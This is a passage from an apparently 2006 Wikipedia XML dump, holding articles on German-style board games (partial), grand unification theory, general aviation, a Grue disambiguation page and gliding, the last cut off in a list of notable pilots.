* [[Bruno Faidutti]] (''[[Citadels]]'', ''[[Mystery of the Abbey]]'',''[[Terra (game)]]'')
* [[Friedemann Friese]] (''[[Power Grid]]'', ''[[Fearsome Floors]]'', ''[[Fresh Fish]]'')
* [[Dirk Henn]] (''[[Alhambra]]'', ''[[Atlantic Star]]'', ''[[Metro]]'', ''[[Wallenstein]]'', ''[[Timbuktu]]'')
* [[Philippe Keyaerts]] (''[[Evo (board game)|Evo]]'', ''[[Vinci (board game)|Vinci]]'')
* [[Alan R. Moon]] (''[[Capitol (game)|Capitol]]'', ''[[Elfenland]]'', ''[[Union Pacific (game)|Union Pacific]]'', ''[[Ticket to Ride (board game)|Ticket to Ride]]'')
* [[Paul Randles]] (''[[Pirate's Cove]]'', ''[[Key Largo (board game)|Key Largo]]'')
* [[Alex Randolph]] (''[[Twixt]]'', ''[[Raj]]'', ''[[Geister]]'', ''[[Enchanted Forest]]'', ''[[Inkognito]]'', ''[[Ricochet Robots]]'')
* [[Michael Schacht]] (''[[Web of Power]]'', ''[[Dschunke]]'', ''[[Industria]]'', ''[[Hansa]]'')
* [[Karl-Heinz Schmiel]] (''[[Attila]]'', ''[[Die Macher]]'')
* [[Andreas Seyfarth]] (''[[Manhattan (game)|Manhattan]]'', ''[[Puerto Rico (game)|Puerto Rico]]'')
* [[Daniel Stahl]] (''[[Pirate's Cove]]'')
* [[Klaus-Jürgen Wrede]] (''[[Carcassonne (game)|Carcassonne]]'')

== Companies ==

There are many German companies producing board games, such as [[Hans im Glück]] and [[Goldsieber]]. Often times German producers will try to establish a line of similar games, such as [[Kosmos (game publisher)|Kosmos]]'s two-player card game series or [[Alea (game publisher)|Alea]]'s big box line. The rights to sell the game in English are often sold to separate companies. Some try to change the game as little as possible, such as [[Rio Grande Games]]. Others, including [[Mayfair Games]], substantially change the visual design of the game.

== Awards == 

The most prestigious German board game award is the [[Spiel des Jahres]] (&quot;game of the year&quot;). The award is very family oriented. Shorter, more approachable games such as [[Ticket to Ride (board_game)|Ticket to Ride]] and [[Elfenland]] are usually preferred by the committee that gives out the award. In contrast, the [[Deutscher Spiele Preis]] (&quot;German game prize&quot;) is often awarded to games that are more complex and strategic, such as [[Puerto Rico (game)|Puerto Rico]]. Many years, however, there is one game with broad enough appeal to win both awards.

== Influence over related genres ==

The German-style genre of board game has been so influential in Western game design theory as to have set in place new, and more stringent, requirements to which players hold games. Although still commercially successful, old favorites such as ''Monopoly'' and ''Risk'' have fallen out of favor as game-players become more aware of the other options that are available.

''[[Magic: The Gathering]]'', released in the USA by [[Richard Garfield]], was a landmark game that emerged in [[1993]], shortly before the popularization of German design concepts. Because nothing like ''Magic'' had been done before on such a large scale, many of the cards were not well-balanced with one another and the game required adjustment. The German school of design was heavily influential on the evolution of this dynamic game, which evolved into what would later be termed a &quot;resource game&quot;.

Many related card games exist, designed with similar goals in mind. However, because card games usually involve luck incidental from [[shuffling]] they are often considered lighter in nature, even though many of them involve quite a bit of skill.  Among the most famous of the German card games is ''[[Bohnanza]]'', a game which relies on trading to introduce a strategic element.

== External links ==
*[http://www.spiel-des-jahres.com/cms/front_content.php?idcat=33 Spiel des Jahres website (English)], with information about the German Game of the Year awards
*[http://www.boardgamegeek.com/ BoardGameGeek] an on-line community for board-gamers, with user-submitted photographs, and other information about boardgames, especially German-style games
*[http://www.thedicetower.com/ The Dice Tower], a weekly podcast about board games including German-style games (see also [[The Dice Tower]])
*[http://www.brettboard.dk Brett and Board] with information on German-style games (has not been updated in some time)
*[http://groups.google.com/groups?q=rec.games.board rec.games.board] usenet newsgroup
*[http://www.luding.org/ Luding.org] - boardgame database with over 15000 english and german reviewed games
*[http://www.brettspielwelt.de/ www.brettspielwelt.de] with many German games to be played online

[[Category:Board games]]
[[Category:Board game designers|*]]

[[da:German games]]
[[de:Autorenspiel]]
[[ja:DoI6TunoBo-6DoGe-6Mu]]
[[nl:Designer game]]
[[zh:******************]]</text>
    </revision>
  </page>
  <page>
    <title>Grand unification theory</title>
    <id>12610</id>
    <revision>
      <id>42081204</id>
      <timestamp>2006-03-03T18:21:20Z</timestamp>
      <contributor>
        <username>RJFJR</username>
        <id>141808</id>
      </contributor>
      <comment>/* Current status */ wikilink neutrino oscillation</comment>
      <text xml:space="preserve">{{unsourced}}
{{expert}}

{{Cosmology}}
'''Grand unification''', '''grand unified theory''', or '''GUT''' is a [[theory]] in [[physics]] that unifies what are considered three &quot;fundamental&quot; [[gauge theory|gauge]] symmetries: [[hypercharge]], the [[weak force]], and [[quantum chromodynamics]]. Grand unification is based on the idea that at extremely high energies, all symmetries have the same gauge [[coupling constant|coupling]] strength, which is consistent with the speculation that they are really different manifestations of a single overarching gauge symmetry.

Thus far, physicists have been able to merge [[electromagnetism]] and the [[weak nuclear force]] into the [[electroweak force]], and work is being done to merge electroweak and [[quantum chromodynamics]] into a QCD-electroweak interaction. Beyond grand unification, there is also speculation that it may be possible to merge [[gravity]] with the other three gauge symmetries into a [[theory of everything]].

The coining of the widely-used [[acronym]] GUT has been attributed to the [[Harvard University ]] theorist [[Dimitri Nanopoulos]] in a paper published in 1978.


==Motivation==
There is a general aesthetic among high energy physicists that the more symmetrical a theory is, the more &quot;beautiful&quot; and &quot;elegant&quot; it is. According to this aesthetic, the [[Standard Model]] gauge group, which is the [[direct product]] of three groups ([[modulo]] some [[finite group]]) is &quot;ugly&quot;. Also, reasoning in analogy with the 19th-century unification of [[electricity]] with [[magnetism]] into [[electromagnetism]], and especially the success of the [[electroweak theory]], which utilizes the idea of [[spontaneous symmetry breaking]] to unify electromagnetism with the [[weak interaction]], people wondered if it might be possible to unify all three groups in a similar manner. Physicists feel that three independent gauge coupling constants and a huge number of Yukawa coupling coefficients require far too many free parameters, and that these coupling constants ought to be explained by a theory with fewer free parameters. A gauge theory where the gauge group is a simple group only has one gauge coupling constant, and since the [[fermion]]s are now grouped together in larger [[representation theory|representations]], there are fewer Yukawa coupling coefficients as well. In addition, the chiral fermion fields of the [[Standard Model]] unify into three generations of two irreducible representations (&lt;math&gt;10\oplus \bar{5}&lt;/math&gt;) in SU(5), and three generations of an irreducible representation ('''16''') in SO(10). This is a significant observation, as a generic combination of chiral fermions which are free of [[gauge anomaly|gauge anomalies]] will not be unified in a representation of some larger [[Lie group]] without adding additional matter fields. SO(10) also predicts a [[right-handed neutrino]].

GU theory specifically predicts relations among the [[fermion]] masses, such as between the electron and the [[down quark]], the [[muon]] and the [[strange quark]], and the [[tau lepton]] and the [[bottom quark]] for SU(5) and SO(10). Some of these mass relations hold approximately, but most don't. See [[Georgi-Jarlskog mass relation]]. If we look at the renormalization group running of the three-gauge couplings have been found to nearly, but not quite, meet at the same point if the hypercharge is normalized so that it is consistent with SU(5)/SO(10) GUTs, which are precisely the GUT groups which lead to a simple fermion unification. This is a significant result, as other Lie groups lead to different normalizations. However, if the [[supersymmetry|supersymmetric]] extension [[MSSM]] is used instead of the Standard Model, the match becomes much more accurate. It is commonly believed that this matching is unlikely to be a coincidence. Also, most model builders simply assume SUSY because it solves the [[hierarchy problem]]&amp;mdash;i.e., it stabilizes the electroweak Higgs mass against [[radiative correction]]s. And the Majorana mass of the right-handed neutrino SO(10) theories with its mass set to the gauge unification scale is examined, values for the left-handed neutrino masses (see [[neutrino oscillation]]) are produced via the [[seesaw mechanism]]. These values are 10&amp;ndash;100 times smaller than the GUT scale, but still relatively close.

==Ingredients==
A GUT model basically consists of a [[gauge group]] which is a [[compact Lie group]], a [[connection form]] for that Lie group, a [[Yang-Mills action]] for that connection given by an [[invariant]] [[symmetric bilinear form]] over its Lie algebra (which is specified by a [[coupling constant]] for each factor), a [[Higgs sector]] consisting of a number of scalar fields taking on values within real/complex [[representations of Lie groups|representations]] of the Lie group and chiral [[Weyl fermion]]s taking on values within a complex rep of the Lie group. The Lie group contains the [[Standard Model group]] and the Higgs fields acquire [[VEV]]s leading to a [[spontaneous symmetry breaking]] to the [[Standard Model]]. The Weyl fermions represent matter.

==Proposed theories ==

Several such theories have been proposed, but none is currently universally accepted. An even more ambitious theory that includes ''all'' [[fundamental force]]s, including [[gravitation]], is termed a [[theory of everything]]. Some common [[mainstream]] GUT models are:

* minimal [[left-right model]] -- SU(3)&lt;sub&gt;C&lt;/sub&gt;×SU(2)&lt;sub&gt;L&lt;/sub&gt;×SU(2)&lt;sub&gt;R&lt;/sub&gt;×U(1)&lt;sub&gt;B-L&lt;/sub&gt; 
* [[Georgi-Glashow model]] -- [[Special unitary group|SU(5)]]
* [[SO(10) (physics)|SO(10)]]
* [[Flipped SU(5)]] -- [[Special unitary group|SU(5)]]×[[Unitary group|U(1)]]
* [[Pati-Salam model]] -- [[Special unitary group|SU(4)]]×[[Special unitary group|SU(2)]]×[[Special unitary group|SU(2)]]
* [[flipped SO(10)]] -- SO(10)×U(1)
* [[Trinification]] -- [[Special unitary group|SU(3)]]×[[Special unitary group|SU(3)]]×[[Special unitary group|SU(3)]]
* [[SU(6) (physics)|SU(6)]]
* [[E6 (mathematics)|E&lt;sub&gt;6&lt;/sub&gt;]]

Not quite GUTs...
* [[Technicolor (physics)|Technicolor models]]
* [[little Higgs]]
* [[preon]]s
* [[String theory]]
* [[M-theory]]

''Note'': These models refer to [[Lie algebra]]s not to [[Lie group]]s. The Lie group could be [SU(4)×SU(2)×SU(2)]/'''Z'''&lt;sub&gt;2&lt;/sub&gt;, just to take a random example.

The most promising candidate is [[SO(10)]]. (Minimal) SO(10) does not contain any [[exotic fermion]]s (i.e. additional fermions besides the [[Standard Model]] fermions and the [[right-handed neutrino]]) and it unifies each generation into a single [[irreducible representation]]. Notice that a number of other GUT models are based upon subgroups of SO(10). They are the minimal [[left-right model]], [[SU(5)]], [[flipped SU(5)]] and the [[Pati-Salam model]]. The GUT group E&lt;sub&gt;6&lt;/sub&gt; contains SO(10) but models based upon it are significantly more complicated. The primary reason for studying E&lt;sub&gt;6&lt;/sub&gt; models comes from E&lt;sub&gt;8&lt;/sub&gt; &amp;times; E&lt;sub&gt;8&lt;/sub&gt; [[heterotic string theory]].

GUT models generically predict the existence of [[topological defect]]s such as [[magnetic monopoles|monopoles]], [[cosmic strings]], [[domain wall]]s, and others. None have been observed and their absence is known as the [[monopole problem]] in [[cosmology]].

GUT models also generically predict [[proton decay]], although current experiments still haven't detected proton decay. This experimental limit on the proton's lifetime pretty much rules out minimal SU(5).

[[Image:proton_decay2.png]]
[[Image:proton_decay3.png]]
[[Image:proton_decay4.png]]

Some GUT theories like SU(5) and SO(10) suffer from what is called the [[doublet-triplet problem]] in that these theories predict that for each electroweak Higgs doublet, there corresponds a [[QCD|colored]] Higgs triplet field with a very small mass (small, meaning many orders of magnitude smaller than the GUT scale here). After all, if you unify [[quark]]s with [[lepton]]s, the Higgs doublet would also be unified with a Higgs triplet. These triplets have not been observed, and not only that, they would cause extremely rapid proton decay (way below current experimental limits) and completely mess up the running together of the gauge coupling strengths in the renormalization group.

Most GUT models require a threefold replication of the matter fields and as such, do not explain why there are three generations of fermions. Most GUT models also do not explain the [[little hierarchy]] between the fermion masses for different generations.

==Current status==

[[As of 2005]], there is still no hard evidence nature is described by a GUT theory. In fact, since the [[Higgs particle]] has not yet been discovered, it is not even certain if the [[Standard Model]] is fully accurate. The discovery of [[neutrino oscillation]]s indicate strongly that the Standard Model is incomplete, and lead to renewed interest toward certain GUT such as &lt;math&gt;SO(10)&lt;/math&gt;. One of the few possible experimental tests of certain GUT is proton decay and also fermion masses. There are a few more special tests for supersymmetric GUT.

The [[gauge coupling]] strengths of [[QCD]], the [[weak interaction]] and [[hypercharge]] seem to meet at a common length scale called the '''GUT scale''' and equal approximately to &lt;math&gt;10^{16}&lt;/math&gt; GeV, which is slightly suggestive. This interesting numerical observation is called the '''gauge coupling unification''' and it works particularly well if one assumes the existence of [[superpartner]]s of the Standard Model particles. Still it is possible to achieve the same by postulating, for instance, that ordinary (non superymmetric) &lt;math&gt;SO(10) &lt;/math&gt; models break with an intermediate gauge scale, such as the one of Pati-Salam group. 

It seems fair to say that, at present, theoretical physicists are still to propose a completely self-consistent and satisfactory GUT model.

==See also==

* [[Grand unification energy]]
* [http://www.nature.com/nature/journal/v415/n6875/full/415957b.html An account of the origin of the term GUT]

[[Category:particle physics]]
[[Category:Protoscience]]
[[Category:Cosmology]]

[[br:Peurunvanidigezh]]
[[ca:Teoria de la gran unificació]]
[[de:Große vereinheitlichte Theorie]]
[[es:Teoría de Gran Unificación]]
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[[he:תאוריה מאוחדת גדולה]]
[[ja:大統一理論]]
[[pl:Teorie wielkiej unifikacji]]
[[simple:Grand unification theory]]
[[sk:Teória veľkého zjednotenia]]
[[sl:Teorija velikega poenotenja]]
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[[vi:Lý thuyết thống nhất lớn]]
[[zh:大统一理论]]</text>
    </revision>
  </page>
  <page>
    <title>GTE</title>
    <id>12611</id>
    <revision>
      <id>40263636</id>
      <timestamp>2006-02-19T09:20:46Z</timestamp>
      <contributor>
        <ip>216.12.72.43</ip>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Verizon Communications]]</text>
    </revision>
  </page>
  <page>
    <title>General aviation</title>
    <id>12612</id>
    <revision>
      <id>41275126</id>
      <timestamp>2006-02-26T05:46:16Z</timestamp>
      <contributor>
        <ip>72.177.197.127</ip>
      </contributor>
      <text xml:space="preserve">'''General aviation''' (abbr. '''GA''') is one of the two categories of [[civil aviation]].

[[Image:Genav.vansrv4.arp.750pix.jpg|thumb|right|250px|A general aviation scene at Kemble airfield, England. The aircraft in the foreground is a [[homebuilt aircraft|homebuilt]] [[Vans RV-4]]]] 

The term ''general aviation'' describes any flight other than a [[military aviation|military]] or [[scheduled air transport|scheduled airline]] flight, ranging from [[glider]]s and [[powered parachute]]s to large, non-scheduled cargo jet flights.  As a result, the majority of the world's air traffic falls into this category, and the vast majority of the world's airports serve general aviation exclusively.

==Examples==

The following examples provide a partial list of typical general aviation operations:

* [[flight training]]
* [[gliding]]
* [[parachuting]]
* [[aerobatics]]
* privately-owned light aircraft flights sometimes from [[flying club]]s
* [[air ambulance]]
* pipeline surveys
* [[aerial photography]]
* traffic reporting
* [[Aerial application|crop dusting]]
* [[bush flying]]
* [[ballooning]]
* [[air charter]] including air taxi operations
* [[Cargo airline|many air cargo flights]]
* [[business jets]]
* police air patrols
* [[Aerial firefighting|forest fire fighting]]
* logging
* resource exploration

==Regulation and safety==

Since it includes both (non-scheduled) commercial operations and private operations, with aircraft of many different types and sizes, it is not possible to make blanket statements about the regulation or safety record of general aviation.  At one extreme, in most countries business jets and large cargo jets face most of the same regulations as [[scheduled air transport]] and fly mostly to the same airports, so it is not surprising that they have comparable safety records.  Commercial [[bush flying]] operations normally do not operate under as heavy a regulatory burden and often involve riskier operations into small airports or off-airport outside of [[radar]] coverage; as a result, the safety record in that sector can be considerably worse &amp;mdash; bush pilots in [[Alaska]], for example, have a one in eight chance of dying on the job.[http://money.cnn.com/2003/10/13/pf/dangerousjobs/?cnn=yes]  Most other sectors of general aviation fall between these extremes, depending on the environments in which they operate.

{{airlistbox}}

[[Category:Aviation]]
[[de:Allgemeine Luftfahrt]]
[[fr:Aviation générale]]
[[he:תעופה קלה]]
[[pt:Aviação geral]]</text>
    </revision>
  </page>
  <page>
    <title>Grue</title>
    <id>12613</id>
    <revision>
      <id>35610412</id>
      <timestamp>2006-01-18T00:14:21Z</timestamp>
      <contributor>
        <username>Savidan</username>
        <id>677067</id>
      </contributor>
      <text xml:space="preserve">'''Grue''' has multiple meanings:
* [[Grue (color)]]
* [[Grue (monster)|Grue]] a monster from the [[Zork]] series
* [[Grue, Norway]], a municipality

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Gliding</title>
    <id>12614</id>
    <revision>
      <id>41512298</id>
      <timestamp>2006-02-27T21:34:21Z</timestamp>
      <contributor>
        <username>Bluemoose</username>
        <id>178836</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/207.255.218.18|207.255.218.18]] ([[User talk:207.255.218.18|talk]]) to last version by 12.27.24.2</comment>
      <text xml:space="preserve">'''Gliding''' (or '''soaring''') is a [[recreation]]al activity and competitive [[sport]] where individuals fly un-powered [[aeroplane]]s known as [[glider]]s or [[sailplane]]s. Properly, the term ''gliding'' refers to descending flight of a heavier-than-air craft when gravity (its own weight) is its sole motive force; ''soaring'' is the correct term to use when the craft gains altitude or speed from movements of the atmosphere during the flight.

The words ''gliding'' and ''soaring'' are also used to describe the ways [[bird]]s capable of flight remain aloft without flapping their [[wing]]s; the mechanics of this process are explained in the article on [[bird flight]], while this article focuses on aircraft.
[[Image:LS40075.jpg|thumb|300px|right|A modern glider crossing the finish line at speed. It is jettisoning water that has been used as ballast]]

==Recreation versus sport==
While recreational glider enthusiasts enjoy the freedom, scenic views and sheer enjoyment of controlling the aircraft, others compete (up to [[World Gliding Championships|World Championship level]]), or practise competing, by flying as quickly as possible around a circuit defined by &quot;turning-points&quot;.  These competitions test the pilots' (and, in two-seat gliders, the co-pilots') ability to recognise and make use of local weather conditions, their flying skills and navigational abilities. There are also glider [[aerobatic|aerobatics]] competitions.

All methods of launching gliders (apart from self-launching motor-gliders) require assistance from other participants and so sailplane pilots band together within clubs to share an airfield and launch equipment, and to maintain high safety standards. Since assistance is also needed to rig and retrieve gliders as well as to train new pilots, there is an important social aspect to the sport.

==History==
All developments in heavier-than-air flight between [[1853]] ([[Sir George Cayley's coachman]]), and [[1903]] ([[Wright brothers]]) involved gliders (See [[History of Aviation]]). However, the ''sport'' of gliding only emerged after the [[World War I|First World War]] and the reason for its development can be traced to the [[Treaty of Versailles]]. The peace settlement imposed severe restrictions on the manufacture and use of single-seater powered aeroplanes in [[Germany]]. Thus, in the 1920s and 1930s, while aviators and aircraft makers in the rest of the world were working to improve the performance of  powered aeroplanes, the Germans were designing, developing and flying ever more efficient gliders and discovering ways of using the natural forces in the atmosphere to make them fly further and faster. The first German gliding competition was held at the [[Wasserkuppe]] in [[1920]], organised by [[Oskar Ursinus]], and ten years later had become an international event. The sport has since been taken up in many countries. It does not matter whether the countries are flat or mountainous, hot or temperate, because gliders can soar in most places. Germany, however, remains the world centre of gliding, as evinced by the fact that all the major glider manufacturers are still based there.

[[Image:Bluesky2.jpg|thumb|right|Good gliding weather. Well formed ''[[cumulus cloud|cumulus]] humilis'', with darker bases, suggests active [[thermal]]s and light winds.]]

==Soaring==
Soaring is usually achieved by flying through a mass of air that is ascending as fast or faster than the sailplane is descending, and thus gaining [[potential energy]]. The most commonly used rising masses of air are [[thermal]]s (updrafts of warm air), [[Ridge Lift|ridge lift]] (found where the wind blows against the face of a hill and is forced to rise), and wave lift ([[standing wave]]s in the [[Earth's atmosphere|atmosphere]], analogous to the ripples on the surface of a stream). Ridge lift rarely allows pilots to climb much higher than about 2,000 ft (600 m) above the terrain; thermals, depending on the climate and terrain, can exceed 10,000 ft (3,000 m) in flat country and much higher in the mountains; wave lift has allowed gliders to achieve altitudes approaching 50,000 ft (15,000 m).

In thermal flight, the glider [[aviator|pilot]] attempts to find streams of air that are moving upwards as a result of being heated by contact with sun-lit earth. If the air contains enough moisture, the water will condense from the rising air and form cumulus clouds. Well-formed [[cumulus cloud]]s (the fluffy, cotton-wool type of cloud) with sharply defined flat bases often form at the tops of strong thermals. Once a thermal is encountered, the pilot banks sharply to keep the plane turning in a small circle within the thermal and so can ride upward. Rates of climb depend on conditions, but several metres per second is common. 

As it requires rising heated air, thermalling is typically only effective in mid-latitudes from spring through into late summer.  Other latitudes often have a layer of warm air, an [[Capping inversion|inversion]], which stops the air in the thermals from rising higher. During winter the solar heat can only create weak thermals.

In a few countries gliders can continue to climb into the clouds in uncontrolled airspace but in many countries the pilot must stop climbing at cloud-base (see [[Visual Flight Rules]]). Sometimes thermals do not create cumulus clouds. This can happen when the air has little moisture or when an inversion stops the thermal from rising high enough for the moisture to condense. Without clouds to mark the thermals, the pilot must use his skill and luck to find them. Typical locations to find thermals are over towns, freshly [[plough]]ed fields and [[asphalt]] roads, however thermals are often hard to associate with any feature on the ground.

A pilot who is [[Slope soaring|ridge soaring]] looks for air that is being lifted as it flows up the sides of hills. Ridge lift is present whenever the wind blows in any weather but sometimes it is augmented by thermals when the slopes also face the sun.  

Mountain waves give long stretches of rising air and allow gliders to climb high, long before the sun has started heating the ground. Most sailplane altitude records have therefore been set by using in mountain waves from long mountain ranges all over the world. The current [http://records.fai.org/gliding/#current World Distance Record] of 3008 km by Klaus Ohlmann (on [[21 January]] [[2003]]) was also flown in the mountain wave in [[South America]]. Long, stationary [[lenticular cloud|lenticular]] (lens-shaped) clouds, perpendicular to the wind direction, frequently mark the crests of atmospheric waves.

On rare occasions, glider pilots have been able to use a technique called &quot;[[dynamic soaring]]&quot;, where a sailplane can be made to gain [[kinetic energy]] by repeatedly crossing the boundary between air masses of different horizontal velocity.  However, such zones of high &quot;[[wind gradient]]&quot; are usually much too low to be used safely by aircraft, so dynamic soaring is a technique only really useful to [[radio control]] [[model aircraft]] and to birds, notably to the [[albatross]]es who during long flights can be seen repeatedly pulling up, turning, and diving back down through the wind gradient close to the surface of the ocean.

A rare phenomenon known as [[Morning glory cloud|Morning Glory]] has also been used by sailplane pilots in Australia.

A good visual and interactive explanation of how a glider functions and the types of lift can be found at http://www.yorksoaring.com/whatissoaring.html .

==Badges==
Achievements in gliding have been marked by the awarding of badges since the 1920s. For the lower badges national glider federations set their own criteria. For example, in the United States an &quot;A&quot; badge is issued for the first solo, while &quot;B&quot; and &quot;C&quot; require longer flights and more training. A bronze badge shows preparation for cross-country work, including spot landings and a pair of two hour flights.

The higher badges follow the standards set down by the [[Federation Aeronautique Internationale]]. Earning the Silver Badge shows that a glider pilot has achieved an altitude gain of at least 1000m, made a five-hour duration flight, and has flown cross-country for a straight-line distance of at least 50km: usually, but not invariably, in separate flights. The [http://www.fai.org/sporting_code/sc3.asp FAI Sporting Code] defines the rules for observers and recording devices to validate the claims for badges. In the United States alone, over 6000 Silver Badges have been issued.

The Gold and Diamond Badges require pilots to fly higher and farther. A pilot with the three &quot;Diamonds&quot; has flown 300km to a pre-defined goal, has flown 500km in one flight (but not necessarily to a pre-defined goal) and gained 5000m in height. The FAI also issues diplomas for 1000km and thereafter in increments of 250km. The ultimate challenge is to add a 2000 km diploma for a single flight exceeding that distance. Only a few people have ever achieved it.

National federations also issue other badges. For example, The [[Soaring Society of America]] also issues badges for going above 25,000 feet (7,620 m) and for enough cross-country flying to circle the world. The [[British Gliding Association]] issues a 750km diploma, because only two flights over 1000km have ever been possible in the UK's climate.

==Launch methods==
[[Image:PAW0002.jpg|thumb|right|A Piper Pawnee, a fomer agricultural aicraft now commonly used as an aerotow tug.]]
[[Image:AT0134.jpg|thumb|right|A Pawnee aerotowing a glider.]]
[[Image:V20001.jpg|thumb|right|A Ventus 2a being winch-launched.]]
[[Image:Bungee1.jpg|thumb|right|A bungee launch]]
Gliders are initially launched into the air by one of several methods, the most common are &quot;aerotowing&quot; and &quot;winching&quot;.

Aerotows normally use single engined light aircraft, but lately, powerful self-launching motor gliders and microlight planes have also been permitted to tow gliders. The tow aircraft takes the glider to the desired height and place and the pilot releases the rope. Aerotow ropes are typically made of polypropylene rope and are between 50 and 60 metres in length. At the tow plane end, a weak link is fitted to the rope to ensure that any sudden loads imposed by the glider getting out of station do not damage the airframe of the tow plane.

During the aerotow, the glider pilot keeps the glider &quot;in station&quot; behind the tow plane.  This can either be the &quot;low tow&quot; position, just below the slipstream of the tow plane propellor, or the &quot;high tow&quot; position just above the slipstream. Over the years there has been great debate about which of these two positions is the safest, and there has been no universal agreement. In Australia the convention is to fly in low tow, whereas in the United States the high tow prevails.

One interesting aerotow variation is to perform a &quot;dual tow&quot; in which two gliders are attached to the one tow plane, using ropes of different lengths. This certainly looks spectacular, but requires skill and precise flying by all concerned.

Gliders are often launched using a stationary ground-based winch, sometimes mounted on a heavy vehicle. This method is widely used in many European countries, often in addition to aerotowing. The engine is usually from a large car or a diesel truck (sometimes using LPG), though hydraulic fluid engines and electrical motors are sometimes used. The winch pulls in a 1000 to 1600 m long cable made of steel wire or a synthetic fibre which is attached to the glider. The glider releases the cable at a height of about 400 to 500m after a very short and steep ride. A winch launch costs between EUR 3 and EUR 10, which is much less than an aero-tow. One disadvantage of winch launching is that the launch height is variable with the wind strength and cable run length, which could mean that the duration of flights is slightly shorter unless the pilot is fortunate enough to make contact with a thermal or other source of lift within a few minutes of releasing the cable.

Gliders can also be launched from the top of a hill into a stiff breeze using a rubber band, or &quot;bungee&quot;. For this launch method, the glider's main wheel rests in a small concrete trough. The hook that is normally used for winch-launching is used instead to attach the middle of the bungee. Each end of the bungee is then pulled by 3 or 4 people. One group runs slightly to the left, the other to the right of the glider. Once the tension in the bungee is high enough, the pilot releases the wheel brake and the glider's wheel pops out of the trough. The glider gains just enough energy to leave the ground and fly away from the hill.

Another launch method, now rarely used, is the &quot;autotow&quot;. This needs a long runway, a large pick-up truck and a length of cable. After gently taking up slack in the cable, the driver accelerates hard and the glider rises like a kite to as much as 400 metres if there is a good headwind and a 1.5 km runway. A variation on this is the &quot;reverse pulley&quot; method in which the car drives towards the glider that it is launching; the cable connecting the car and glider passes around a pulley at the far end of the airfield.

==Cross-country==
Gliders can stay airborne for hours if the conditions are good. This enables gliders to fly long distances at surprisingly high speeds. Although Klaus Ohlmann's world record is obviously not a typical flight, even in less favourable places in Europe, good pilots usually have flights over 500 kilometres every year at average speeds of 80 km/h or faster.

In addition to just trying to fly further, gliders also race each other. As the performance of gliders improved in the 1960s, the concept of flying as far away as possible became unpopular with the crews who had to retrieve the gliders. Pilots now win contests by being the fastest around a pre-defined course back to the starting point, or, if the weather is not as good as expected, the furthest round the course. Originally proof of getting to the turning points was by observing the gliders from the ground. Later the pilots took photographs of the turn-points but nowadays gliders carry secure devices that record the position every few seconds from GPS satellites. National competitions generally last one week but international championships are normally over two weeks. The winner is the pilot who has amassed the greatest number of points over all the contest days. Because it would be unsafe for many gliders to cross a start line at the same time, pilots can choose their own start time. Gliders are not visible to spectators for long periods of each day's contest and scoring is complex, so gliding has been a difficult sport to televise. This means that soaring is a sport in which most contestants are still amateurs. However, a new format contest has been introduced [http://www.cnvv.net/wsgp/en/accueil-en.htm see Sailplane Grand Prix].  Also gaining popularity in recent years is an informal online contest called the [http://www.onlinecontest.org OLC] where pilots upload their GPS data files and are automatically scored based on distance flown.  Nearly 9,000 pilots worldwide participate.

Soaring pioneer [[Paul MacCready]] developed a mathematical theory for optimizing cross country soaring speeds.  His theory allows one to compute the optimal cruising speed between thermals, accounting for thermal strength, sailplane performance and other variables.  The theory accounts for the fact that if a pilot flies faster between thermals, the next thermal is reached sooner.  However the glider also sinks faster, requiring the pilot to spend more time circling to regain the altitude.  The MacCready speed represents the optimal tradeoff between cruising and circling.  Most competition pilots make use of MacCready theory to optimize their flight speeds, and have the necessary calculations programmed in their flight computers.

==Outlandings==
[[Image:OL0026.jpg|thumb|right|Pilot and crew about to de-rig a glider]]
Sometimes a pilot on a cross-country flight finds that the weather is not as good as expected.  In these circumstances, the pilot must choose a field and 'land-out'.  Landing out is a routine event in cross-country gliding, though they are often mistaken for 'emergency landings'. They are entirely normal, although they are an inconvenience. The pilot has to choose from the air a field that is safe to land in and which does not cause damage to the property.

The glider and pilot can be retrieved by pilot's ground crew using a purpose-built trailer which can easily be towed by a car.  Alternatively, if the glider has landed in a suitable field, a tow plane can be summoned to re-launch the aircraft (with the permission of the field's owner of course).

To avoid the inconvenience of landing out, some gliders have a small engine and a retractable propeller.  Some of these engines are not powerful enough to launch the glider, but they can provide enough power to allow gliders to stay airborne and so to return to their home airfields. However, an engine has to be started at a height that includes a margin that would still allow a safe outlanding to be made, if the engine were to fail to start. Consequently gliders without an engine will sometimes be able to thermal safely below that height, find lift and continue on their task.  An engine also adds to the weight and expense of a glider.

==Hazards==
Although considered a relatively safe form of aviation, there are potential hazards in gliding. Gliders, however, surround the pilot with a strong structure and most accidents occur at a low speed causing no injuries.  A small number of fatal accidents occur every year, almost all caused by pilot error.  Causes include:
* mid-air collisions: gliders sometimes fly in close proximity, especially in thermals. Glider pilots have to keep a good look-out and many fly with parachutes for this reason.
* incorrect procedure during launch, especially when using a winch
* low speeds while turning before landing
* in-flight structural failures: these occur rarely, usually the result of high loads placed on the aircraft either intentionally (during aerobatics) or while recovering from a sudden loss of control 
* unconnected controls: gliders are designed for quick assembly. While most newer gliders use automatic control hookups, the majority of sailplanes have manual quick connect control rods. If neglected or improperly engaged prior to flight, a pilot might lose control of the glider
* outlandings: there is some risk of striking power lines or other unseen objects by cross-country pilots during an outlanding
* contact with terrain: turbulence can result in a sudden loss of control and altitude. The stronger the wind, the more varied the terrain, the greater the risk of severe turbulence. Pilots who fly in mountainous terrain are especially wary of this danger
* thunderstorms: the thermals pilots use for soaring sometimes blossom into thunderstorms, with severe turbulence, hail, and lightning, each of which presents serious danger to gliders.

==Learning to glide==
[[Image:Blanik_3_a.jpg|thumb|right|A Blanik L-23. A common training glider]]
Most clubs offer trial lessons to people interested in learning to glide and will accept bookings by phone. The links to national organisations below give the contact details for the nearest clubs. The pupil flies with an instructor in a two-seat glider fitted with dual controls.  The instructor does the first launches and landings but otherwise the pupil uses the controls. People with the skill to drive a car can usually learn to fly a glider. Some clubs offer courses over several days, though, with a mixture of winch and aerotow launches, it often takes [[ab initio]]s at least 50 training flights before they are allowed to fly solo.  If winches are used, the cost of learning to glide is much less than that of learning to fly powered aircraft.  However the cost is much greater if aerotowing is the only available method of launching, even though fewer launches might be needed, perhaps as few as 30.  Further training continues after the first solo until the pupil is judged capable of taking a glider cross-country.  Some studying is required on topics such as the regulations, use of the radio, weather and navigation.

==Notable people who were also glider pilots==
* [[Neil Armstrong]] - astronaut
* [[John Denver]] - singer/songwriter
